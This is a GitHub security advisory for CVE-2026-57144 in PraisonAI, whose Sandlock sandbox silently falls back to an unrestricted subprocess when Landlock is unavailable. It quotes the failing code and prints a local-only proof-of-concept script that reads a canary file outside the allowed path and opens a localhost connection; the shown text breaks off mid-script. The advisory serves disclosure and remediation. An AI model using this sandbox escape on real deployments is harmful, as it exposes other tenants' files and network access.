GitHub Advisoryadvisory · PyPI
GHSA-6jcq-6546-qrrw PraisonAI SandlockSandbox falls back to unrestricted subprocess execution when Landlock is unavailable
HIGH
Official page ↗
- Aliases
- CVE-2026-57144
- Ecosystem
- PyPI
- Packages
- praisonai
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-266, CWE-668, CWE-693
- Reviewed
- 2026-06-18
Affected packages
• PyPI praisonai: >= 4.5.110, < 4.6.61 → fixed in 4.6.61
Description
Summary
`praisonai.sandbox.SandlockSandbox` is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its `SandboxConfig.native()` path lets callers configure allowed filesystem paths and `network=False`.
On systems where the optional `sandlock` module imports but reports that Landlock is unavailable, `SandlockSandbox.execute()` and `run_command()` do not fail closed. They silently fall back to `SubprocessSandbox(self.config)`.
That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite `network=False`.
Technical Details
`SandboxConfig.native()` creates a restricted native policy and records caller-provided writable paths plus the requested network posture:
```python
return cls(
sandbox_type="native",
working_dir=os.getcwd(),
security_policy=SecurityPolicy(
allow_network=network,
allow_file_write=True,
allow_subprocess=True,
allowed_paths=resolved_paths,
),
metadata={"writable_paths": resolved_paths, "network": network},
)
```
`SandlockSandbox` builds the intended kernel policy with Landlock-backed filesystem allowlisting and network denial:
```python
policy = Policy(
fs_readable=allowed_read_paths,
fs_writable=allowed_write_paths,
net_allow_hosts=[] if not limits.network_enabled else None,
max_memory=f"{limits.memory_mb}M",
max_processes=limits.max_processes,
max_open_files=limits.max_open_files,
)
```
However, both execution paths fail open when Sandlock is unavailable:
```python
if not self.is_available:
logger.warning("Sandlock not available, falling back to subprocess")
from .subprocess import SubprocessSandbox
fallback = SubprocessSandbox(self.config)
return await fallback.execute(code, language, limits, env, working_dir)
```
`SubprocessSandbox.execute()` writes the code to a temp file and runs `python` with a minimal environment and POSIX rlimits. It does not install a filesystem sandbox, network namespace, syscall filter, chroot, Landlock policy, or path allowlist for the code execution path. The `safe_sandbox_path()` checks only protect the `read_file()`, `write_file()`, and `list_files()` helper methods.
Why This Is Not Intended Behavior
The report is not based only on a trust-model disagreement. The code and docs define a concrete boundary:
• PraisonAI's Sandlock README says the backend provides kernel-level filesystem allowlisting, network isolation, seccomp filtering, and blocks `/etc/passwd`, SSH keys, AWS credentials, and unauthorized connections.
• The security demo creates `SandboxConfig.native(writable_paths=["./safe_workspace"], network=False)` and labels file and network access as blocked operations.
• The upstream `sandlock` package requires Linux with a compatible Landlock ABI and documents a fail-closed default for missing required protections unless the caller explicitly opts into degraded protection.
• PraisonAI's own current security page recommends sandboxed execution and says path traversal protection is enabled by default for local sandbox backends.
The bug is the silent fallback from an unavailable kernel-enforced boundary to plain subprocess execution without preserving the configured native policy.
PoV
Run from a PraisonAI source checkout:
```bash
python3 poc/pov_poc.py \
--repo /path/to/PraisonAI
```
The PoV:
1. injects a fake `sandlock` module that imports successfully but reports no usable Landlock support;
2. configures `SandboxConfig.native(writable_paths=[tenant_a], network=False)`;
3. creates `tenant-b-secret.txt` outside the configured path;
4. starts a localhost TCP listener;
5. executes code through `SandlockSandbox.execute()`.
Observed result on `v4.6.58`:
```json
{
"child_output": {
"network_reply": "local-ok",
"outside_read": "TENANT_B_CANARY"
},
"configured_network": false,
"outside_path_under_allowed": false,
"sandlock_available": false,
"sandbox_type": "sandlock",
"status": "COMPLETED",
"vulnerable": true
}
```
This proves both policy boundaries are crossed:
• the file read target is not under the configured allowed path;
• the localhost network connection succeeds even though the native policy was created with `network=False`.
Full PoV script:
```python
!/usr/bin/env python3
"""Local-only PoV for poc.
The PoV simulates a system where the optional ``sandlock`` Python package is
installed but kernel Landlock support is unavailable. That is the exact branch
handled by ``SandlockSandbox.execute()``: it logs a warning and falls back to
``SubprocessSandbox``.
No external network is used. The network control is a localhost TCP listener.
No sensitive host files are read. The filesystem control uses temporary tenant
directories and a canary file outside the configured writable path.
"""
from __future__ import annotations
import argparse
import asyncio
import contextlib
import json
import os
import pathlib
import socket
import sys
import tempfile
import types
from typing import Any
def _repo_paths(repo: pathlib.Path) -> list[str]:
return [
str(repo / "src" / "praisonai"),
str(repo / "src" / "praisonai-agents"),
]
async def _accept_once(server: socket.socket) -> str | None:
loop = asyncio.get_running_loop()
def accept() -> str:
conn, _ = server.accept()
with conn:
data = conn.recv(128)
conn.sendall(b"local-ok")
return data.decode("utf-8", "replace")
with contextlib.suppress(Exception):
return await loop.run_in_executor(None, accept)
return None
async def run_pov(repo: pathlib.Path) -> dict[str, Any]:
sandlock_path = repo / "src" / "praisonai" / "praisonai" / "sandbox" / "sandlock.py"
if not sandlock_path.exists():
return {"repo": str(repo), "has_sandlock": False, "vulnerable": False}
sys.path[:0] = _repo_paths(repo)
# Support both the original v4.5.110 API check and the current v4.6.58 API
# check while forcing the "Sandlock not available" branch.
sys.modules["sandlock"] = types.SimpleNamespace(
is_available=lambda: False,
landlock_abi_version=lambda: 0,
)
from praisonai.sandbox.sandlock import SandlockSandbox
from praisonaiagents.sandbox import ResourceLimits, SandboxConfig
with tempfile.TemporaryDirectory(prefix="poc-") as temp_root:
base = pathlib.Path(temp_root)
# Make the PoV deterministic on systems where "python" is not on PATH.
bindir = base / "bin"
bindir.mkdir()
(bindir / "python").symlink_to(sys.executable)
allowed = base / "tenant-a"
allowed.mkdir()
outside = base / "tenant-b-secret.txt"
outside.write_text("TENANT_B_CANARY", encoding="utf-8")
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("127.0.0.1", 0))
server.listen(1)
server.settimeout(5)
port = server.getsockname()[1]
config = SandboxConfig.native(writable_paths=[str(allowed)], network=False)
sandbox = SandlockSandbox(config=config)
await sandbox.start()
code = f"""
import json
import socket
result = {{}}
try:
with open({str(outside)!r}, "r") as f:
result["outside_read"] = f.read()
except Exception as exc:
result["outside_read_error"] = type(exc).__name__ + ": " + str(exc)
try:
s = socket.create_connection(("127.0.0.1", {port}), timeout=3)
s.sendall(b"hello")
result["network_reply"] = s.recv(32).decode("utf-8", "replace")
s.close()
except Exception as exc:
result["network_error"] = type(exc).__name__ + ": " + str(exc)
print(json.dumps(result, sort_keys=True))
"""
accept_task = asyncio.create_task(_accept_once(server))
result = await sandbox.execute(
code,
limits…
Related
Alias · CVE (1)
- CVE-2026-57144 PraisonAI is a multi-agent teams system. vulnerability